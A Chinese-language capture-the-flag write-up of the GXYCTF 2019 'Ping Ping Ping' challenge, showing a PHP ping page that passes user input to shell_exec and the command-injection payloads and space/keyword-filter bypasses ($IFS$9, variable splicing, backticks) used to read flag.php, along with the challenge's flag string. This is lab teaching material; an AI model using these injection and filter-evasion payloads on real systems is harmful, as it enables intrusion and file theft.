GXYCTF 2019]Ping Ping Ping | NSSCTF
ping的题目,看了一些知识点拿来练练
先来随便ping一下
127.0.0.1
得到
再尝试一下添加管道符加其他指令
发现目录下有两个php文件,有我们需要的flag
尝试能不能获取flag
ping 127.0.0.1|cat flag.php
发现可能是空格被过滤了
尝试其他的常见绕过方法
比如
- 使用
${IFS}
代替空格 - 使用
<
或>
重定向符号 - 使用
{cat,flag.php}
语法 - 使用
$()
或反引号执行命令 - 使用
%09(Tab 字符)
代替空格
都会被过滤
贴张图
法一
使用$IFS$9绕过
先看看index.php里面源码写了啥
查看源码
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
print_r($match);
print($ip);
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip)){
die("fxck your space!");
}
else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
}
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
源码里面有过滤规则
- /.f.l.a.g.*/只要匹配到这四个字符组合在一起就显示fxck your flag!了
- 可以采取变量赋值的方式来做
输入 ping 127.0.0.1;q=g;cat$IFS$9fla$q.php
再次查看源码
拿到flag
NSSCTF{9cd25729-d16e-462c-976d-c4a5cb055b8b}
法二
这个方法比较巧妙
使用反引号绕过
原理:
linux下,会先执行反引号下面的语句 在这里会执行ls,ls的结果是“index.php flag.php” 所以最后执行的语句等价于 cat index.php flag.php
试验一下
ping一下
也是成功拿到flag
Comments NOTHING